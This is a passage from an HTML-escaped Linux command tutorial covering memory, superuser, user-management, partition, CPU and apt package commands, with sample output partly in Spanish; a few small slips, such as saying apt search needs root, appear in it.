&amp;lsquo;-h&amp;rsquo;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;free &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;               total used free shared buff/cache available&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Mem:        &lt;span style=&#34;color:#ff9f43&#34;&gt;8111072&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;4937452&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;736592&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;263560&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;2437028&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;2605744&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Swap:      &lt;span style=&#34;color:#ff9f43&#34;&gt;11717628&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;11717628&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;free -h&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              total used free shared buff/cache available&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Mem:           7.7G 4.7G 762M 246M 2.3G 2.5G&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Swap:           11G 0B 11G&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;su&#34;&gt;su&lt;/h2&gt;&#xA;&lt;p&gt;There are commands that we cannot use if we do not have the proper permissions. The super user is a user who has unrestricted access to the system. This command, after a password verification, allows you to access the system as a super user.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;su &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; Contraseña:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we pass the verification our prompt will change and will show us a hash at the end &amp;lsquo;#&amp;rsquo;. **Don&amp;rsquo;t close your terminal yet, we need to stay in super user mode to execute the following commands **.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...~#&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;useradd&#34;&gt;useradd&lt;/h2&gt;&#xA;&lt;p&gt;It allows us to add a user. &lt;strong&gt;Only available for super user.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;useradd nombre_de_usuario&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we use the &lt;em&gt;-m&lt;/em&gt; option, it will create a directory in &lt;em&gt;/home&lt;/em&gt; with the user&amp;rsquo;s name and the necessary permissions.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;useradd -m nombre_de_usuario&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;usermod&#34;&gt;usermod&lt;/h2&gt;&#xA;&lt;p&gt;The usermod command allows us to modify a user&amp;rsquo;s account and has many functions, including:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add a user to a group&lt;/li&gt;&#xA;&lt;li&gt;Disable accounts after a period of inactivity&#xA;Modify a user&amp;rsquo;s login directory * Modify a user&amp;rsquo;s login directory&lt;/li&gt;&#xA;&lt;li&gt;Change a user&amp;rsquo;s name&#xA;Move a user&amp;rsquo;s home directory to another location * Move a user&amp;rsquo;s home directory to another location&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;With the command below we will use the &lt;em&gt;-a&lt;/em&gt; option to add the user named user to one or more groups. We can add more groups by separating them by a comma.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;usermod -a -G grupo usuario&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;With the &lt;em&gt;-e&lt;/em&gt; option we can set an expiration date for a user account. The date format must be YYYYY-MM-DD.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;usermod -e 2099-11-11 usuario&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;userdel&#34;&gt;userdel&lt;/h2&gt;&#xA;&lt;p&gt;This command allows us to delete a user. &lt;strong&gt;Only available for super user.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;userdel nombre_de_usuario&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;fdisk&#34;&gt;fdisk&lt;/h2&gt;&#xA;&lt;p&gt;The fdisk command is used to display the system tables or partitions, it can only be run as super user. If you run it without arguments it will display the command&amp;rsquo;s help page. It is generally used with the &amp;lsquo;&lt;em&gt;-l&lt;/em&gt;&amp;rsquo; option to list and view details of system partitions and tables. &lt;strong&gt;Only available for super user.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fdisk&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; Modo de empleo:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; fdisk &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;opciones&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt; &amp;lt;disco&amp;gt;     cambia tabla de particiones&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; fdisk &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;opciones&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt; -l &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;&amp;lt;disco&amp;gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt; muestra tabla&lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;s&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt; de particiones&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Muestra o manipula una tabla de particiones de disco.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fdisk -l&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Disco /dev/sda: 931.5 GiB, &lt;span style=&#34;color:#ff9f43&#34;&gt;1000204886016&lt;/span&gt; bytes, &lt;span style=&#34;color:#ff9f43&#34;&gt;1953525168&lt;/span&gt; sectores&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Unidades: sectores de &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; * &lt;span style=&#34;color:#ff5c57&#34;&gt;512&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;512&lt;/span&gt; bytes&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Tamaño de sector &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;lógico/físico&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;512&lt;/span&gt; bytes / &lt;span style=&#34;color:#ff9f43&#34;&gt;4096&lt;/span&gt; bytes&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Tamaño de E/S &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;mínimo/óptimo&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;4096&lt;/span&gt; bytes / &lt;span style=&#34;color:#ff9f43&#34;&gt;4096&lt;/span&gt; bytes&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Tipo de etiqueta de disco: dos&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Identificador del disco: 0x325cbe04&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Disposit. Inicio Comienzo Final Sectores Tamaño Id Tipo&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/dev/sda1  *            &lt;span style=&#34;color:#ff9f43&#34;&gt;2048&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1026047&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1024000&lt;/span&gt; 500M &lt;span style=&#34;color:#ff9f43&#34;&gt;7&lt;/span&gt; HPFS/NTFS/exFAT&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/dev/sda2 &lt;span style=&#34;color:#ff9f43&#34;&gt;1026048&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1429233663&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1428207616&lt;/span&gt; 681G &lt;span style=&#34;color:#ff9f43&#34;&gt;7&lt;/span&gt; HPFS/NTFS/exFAT&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/dev/sda3 &lt;span style=&#34;color:#ff9f43&#34;&gt;1429235710&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1452670975&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;23435266&lt;/span&gt; 11.2G &lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt; Extendida&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/dev/sda4 &lt;span style=&#34;color:#ff9f43&#34;&gt;1452670976&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1953523711&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;500852736&lt;/span&gt; 238.8G &lt;span style=&#34;color:#ff9f43&#34;&gt;83&lt;/span&gt; Linux&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/dev/sda5 &lt;span style=&#34;color:#ff9f43&#34;&gt;1429235712&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1452670975&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;23435264&lt;/span&gt; 11.2G &lt;span style=&#34;color:#ff9f43&#34;&gt;82&lt;/span&gt; Linux swap / Solaris&amp;lt;/disco&amp;gt;&amp;lt;/disco&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;lscpu&#34;&gt;lscpu&lt;/h2&gt;&#xA;&lt;p&gt;Prints information related to the CPU architecture.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Architecture:          i686&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# CPU op-mode(s):        32-bit, 64-bit&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Byte Order:            Little Endian&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# CPU(s):                1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# On-line CPU(s) list:   0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Thread(s) per core:    1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;apt-commands&#34;&gt;apt commands&lt;/h2&gt;&#xA;&lt;p&gt;The following series of commands serve as a high-level interface to manage system packages.&lt;/p&gt;&#xA;&lt;p&gt;Older GNU/Linux distributions used an older version of apt, which added &amp;ldquo;-get&amp;rdquo; to each command.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;apt-cache search&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;apt-get install&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;apt-get remove&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;apt-get update&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The new versions include enhanced versions of each command removing &amp;ldquo;-get&amp;rdquo; to differentiate.&lt;/p&gt;&#xA;&lt;h2 id=&#34;apt-search&#34;&gt;apt search&lt;/h2&gt;&#xA;&lt;p&gt;This command searches the repositories and shows us the packages that are relevant to our search. &lt;strong&gt;Only available for super user.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;apt search chromium&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Ordering... Done&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Search in all the text... Done&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;browser-plugin-freshplayer-pepperflash/oldstable,oldstable 0.3.5-1+b1 amd64&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  PPAPI-host NPAPI-plugin adapter &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; pepperflash&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cgpt/oldstable,oldstable 0~R52-8350.B-2 amd64&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  GPT manipulation tool with support &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; Chromium OS extensions&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;apt-policy&#34;&gt;apt policy&lt;/h2&gt;&#xA;&lt;p&gt;With &lt;em&gt;apt policy&lt;/em&gt; we will be able to see the version of a package we have installed and the versions that are available to install. &lt;strong&gt;Only available for super user.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;apt policy chromium&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;chromium:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Instalados: 73.0.3683.75-1~deb9u1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Candidato:  73.0.3683.75-1~deb9u1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Tabla de versión:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; *** 73.0.3683.75-1~deb9u1 &lt;span style=&#34;color:#ff9f43&#34;&gt;500&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff9f43&#34;&gt;500&lt;/span&gt; http://security.debian.org/debian-security stretch/updates/main amd64 Packages&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff9f43&#34;&gt;100&lt;/span&gt; /var/lib/dpkg/status&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     70.0.3538.110-1~deb9u1 &lt;span style=&#34;color:#ff9f43&#34;&gt;500&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff9f43&#34;&gt;500&lt;/span&gt; http://ftp.us.debian.org/debian stretch/main amd64 Packages&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff9f43&#34;&gt;500&lt;/span&gt; http://http.debian.net/debian stretch/main amd64 Packages&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;apt-show&#34;&gt;apt show&lt;/h2&gt;&#xA;&lt;p&gt;With &lt;em&gt;apt show&lt;/em&gt; we will be able to see information about the packages we have installed, their version, size, the libraries they depend on, their tags and more. &lt;strong&gt;Only available for super user.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;apt show python3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; Package: python3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; Source: python3-defaults&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; Version: 3.5.3-1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; Installed-Size: &lt;span style=&#34;color:#ff9f43&#34;&gt;67&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; Maintainer: Matthias Klose &amp;lt;doko@debian.org&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; Architecture: amd64&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; Replaces: python3-minimal &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;&amp;amp;lt;&amp;amp;lt; 3.1.2-2&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;# más información&amp;amp;lt;/doko@debian.org&amp;amp;gt;&amp;lt;/doko@debian.org&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;apt-install&#34;&gt;apt install&lt;/h2&gt;&#xA;&lt;p&gt;Now it is time to install other packages that will provide our system with different functionalities, from databases, programming languages, to complete graphical interfaces or browsers. We can use this command to install the package we want as long as it is available in our repository list. &lt;strong&gt;Only available for super user.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;apt install recordmydesktop&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;# Instalará el paquete recordmydesktop&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In older GNU/Linux distributions a &amp;ldquo;-get&amp;rdquo; was placed after apt.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;apt install recordmydesktop&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;# Instalará el paquete recordmydesktop&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;apt-remove&#34;&gt;apt remove&lt;/h2&gt;&#xA;&lt;p&gt;Just as we can add packages, we can also remove them from our system. This command takes care of that. &lt;strong&gt;Only available for super user.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;apt remove recordmydesktop&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;# Este comando se encarga de remover el paquete de recordmydesktop del sistema&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;apt-update&#34;&gt;apt update&lt;/h2&gt;&#xA;&lt;p&gt;This command updates the available information of the programs we have from the repositories. With this information we will know which ones can be updated.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;apt update &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Obj:13 http://ftp.us.debian.org/debian stretch-updates InRelease&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Obj:14 http://ftp.us.debian.org/debian stretch Release &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Leyendo lista de paquetes... Hecho                     &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Creando árbol de dependencias       &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Leyendo la información de estado... Hecho&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Se pueden actualizar &lt;span style=&#34;color:#ff9f43&#34;&gt;33&lt;/span&gt; paquetes. Ejecute «apt list --upgradable» para verlos.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;apt-list-upgradable&#34;&gt;apt list &amp;ndash;upgradable&lt;/h2&gt;&#xA;&lt;p&gt;Displays the packages that can be upgraded&lt;/p&gt;&#xA;&lt;div 